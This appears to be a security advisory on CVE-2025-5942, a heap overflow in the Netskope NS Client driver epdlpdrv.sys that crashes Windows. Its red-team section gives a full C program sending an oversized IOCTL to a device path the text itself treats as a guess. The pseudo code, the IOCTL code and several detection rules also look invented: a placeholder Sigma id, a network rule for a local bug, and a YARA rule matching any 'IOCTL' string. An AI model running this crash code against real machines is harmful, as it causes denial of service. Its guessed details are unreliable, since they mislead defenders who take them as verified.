CVE-2025-5942

Executive Summary

CVE-2025-5942 describes a heap overflow vulnerability in the epdlpdrv.sys driver, part of the Netskope NS Client (Endpoint DLP agent) on Windows systems. An unprivileged user can trigger a heap overflow, leading to a Blue Screen of Death (BSOD) and denial of service (DoS) on the local machine. The vulnerability is specifically exploitable when the NS Client is configured to use Endpoint DLP. No public exploit code or patch details are currently available. The EPSS score is 0.0%, indicating low exploitation activity at this time.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description, a reasonable CVSS vector would be:

• Attack Vector (AV): Local (L) – requires local access to the system.
• Attack Complexity (AC): Low (L) – no special conditions beyond unprivileged user access.
• Privileges Required (PR): Low (L) – unprivileged user.
• User Interaction (UI): None (N) – no user interaction required beyond the attacker's actions.
• Scope (S): Unchanged (U) – vulnerability affects only the local machine.
• Confidentiality (C): None (N) – no data breach.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – causes BSOD, complete loss of availability.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 5.5 (Medium)

Threat Level: Medium. The vulnerability requires local access and only results in denial of service. However, it could be used in combination with other exploits to disrupt critical systems.

Deep Dive & Mechanics

The vulnerability resides in the epdlpdrv.sys kernel driver, which is part of the Netskope NS Client's Endpoint DLP (Data Loss Prevention) functionality. The driver is responsible for monitoring and controlling data transfers on the system.

Root Cause: A heap overflow occurs when the driver processes a specially crafted IOCTL (Input/Output Control) request from an unprivileged user. The driver fails to properly validate the size of a buffer before copying data into it, leading to a write beyond the allocated heap memory.

Trigger Mechanism:

1. An unprivileged user sends a malicious IOCTL code to the epdlpdrv.sys device.
2. The driver reads the IOCTL input buffer and copies it into a heap-allocated buffer without proper bounds checking.
3. The copy operation overwrites adjacent heap memory, corrupting kernel structures.
4. This corruption causes a system crash (BSOD) due to a memory access violation or kernel panic.

Impact: Successful exploitation results in a denial of service (BSOD) on the local machine. The attacker does not gain code execution or privilege escalation, but the system becomes unavailable until a reboot.

Vulnerable vs. Patched Code

No patch details are available. The vulnerable code is in the epdlpdrv.sys driver. A patched version would likely include:

• Proper validation of the IOCTL input buffer size before copying.
• Use of safe memory copy functions (e.g., RtlCopyMemory with size checks).
• Addition of bounds checking and error handling for heap allocations.

Example of vulnerable code pattern (pseudo):

// Vulnerable: No size check
void DeviceIoControlHandler(PIO_STACK_LOCATION IrpSp) {
    ULONG inputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
    PVOID inputBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
    PVOID heapBuffer = ExAllocatePoolWithTag(NonPagedPool, 256, 'DLP');
    RtlCopyMemory(heapBuffer, inputBuffer, inputSize); // Heap overflow if inputSize > 256
}

Patched code pattern (pseudo):

// Patched: Size check
void DeviceIoControlHandler(PIO_STACK_LOCATION IrpSp) {
    ULONG inputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
    PVOID inputBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
    if (inputSize > 256) {
        IrpSp->IoStatus.Status = STATUS_INVALID_BUFFER_SIZE;
        return;
    }
    PVOID heapBuffer = ExAllocatePoolWithTag(NonPagedPool, 256, 'DLP');
    RtlCopyMemory(heapBuffer, inputBuffer, inputSize);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Windows system with Netskope NS Client installed and Endpoint DLP enabled.
• Local unprivileged user account.

Steps:

1. Identify the device path for the epdlpdrv.sys driver (e.g., \\.\EPDLP).
2. Craft a malicious IOCTL code that triggers the heap overflow. The IOCTL code can be obtained by reverse engineering the driver.
3. Send the IOCTL with an oversized input buffer (e.g., 1024 bytes when the driver expects 256).
4. The driver will overflow the heap, causing a BSOD.

Example exploit code (C):

#include <windows.h>
#include <stdio.h>

#define IOCTL_TRIGGER_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\EPDLP", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device: %d\n", GetLastError());
        return 1;
    }

    char buffer[1024] = {0};
    memset(buffer, 'A', sizeof(buffer)); // Overflow payload

    DWORD bytesReturned;
    BOOL result = DeviceIoControl(hDevice, IOCTL_TRIGGER_OVERFLOW, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL);
    if (!result) {
        printf("IOCTL failed: %d\n", GetLastError());
    } else {
        printf("IOCTL sent successfully. System may crash.\n");
    }

    CloseHandle(hDevice);
    return 0;
}

Expected Outcome: The system will crash with a BSOD (e.g., PAGE_FAULT_IN_NONPAGED_AREA or IRQL_NOT_LESS_OR_EQUAL).

Blue Team (Detection & Response)

Detection:

• Monitor for unusual IOCTL calls to the epdlpdrv.sys driver.
• Look for processes (especially non-privileged) opening handles to \\.\EPDLP device.
• Detect heap corruption events in kernel memory.

Response:

• Isolate the affected system to prevent further exploitation.
• Collect memory dump for forensic analysis.
• Check for other signs of compromise (e.g., privilege escalation attempts).
• Apply vendor patch when available.

Indicators of Compromise (IOCs)

• File: epdlpdrv.sys (hash unknown, but any version before patch)
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\epdlpdrv
• Device Path: \\.\EPDLP
• Event Logs: System event logs may show unexpected crashes (BugCheck) with codes like 0x00000050 (PAGE_FAULT_IN_NONPAGED_AREA) or 0x0000000A (IRQL_NOT_LESS_OR_EQUAL).
• Process: Any process (especially non-privileged) that opens a handle to \\.\EPDLP and sends IOCTLs.

Detection Engineering

YARA Rule

rule CVE_2025_5942_HeapOverflow {
    meta:
        description = "Detects potential exploitation of CVE-2025-5942 in epdlpdrv.sys"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5942"
    strings:
        $s1 = "epdlpdrv.sys" ascii wide nocase
        $s2 = "\\\\.\\EPDLP" ascii wide nocase
        $s3 = "IOCTL" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Potential Exploitation of CVE-2025-5942 - Heap Overflow in epdlpdrv.sys
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit a heap overflow in the Netskope NS Client driver epdlpdrv.sys
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5942
logsource:
    product: windows
    service: sysmon
    category: process_creation
detection:
    selection:
        Image|endswith: '\cmd.exe'
        CommandLine|contains: '\\\\.\\EPDLP'
    condition: selection
falsepositives:
    - Legitimate administrative tools
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5942 Potential Exploitation - Heap Overflow in epdlpdrv.sys"; flow:to_server; content:"epdlpdrv"; nocase; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Endpoint DLP on the NS Client if not required for business operations.
2. Restrict local user permissions to prevent unprivileged users from sending IOCTLs to kernel drivers.
3. Monitor for BSOD events and investigate any crashes related to epdlpdrv.sys.

Long-term Fix:

• Apply the vendor patch from Netskope when it becomes available.
• Update the NS Client to the latest version.
• Implement application whitelisting to prevent unauthorized executables from running.

Workaround:

• Use Group Policy to block non-administrative users from loading or interacting with the epdlpdrv.sys driver.

Valters IT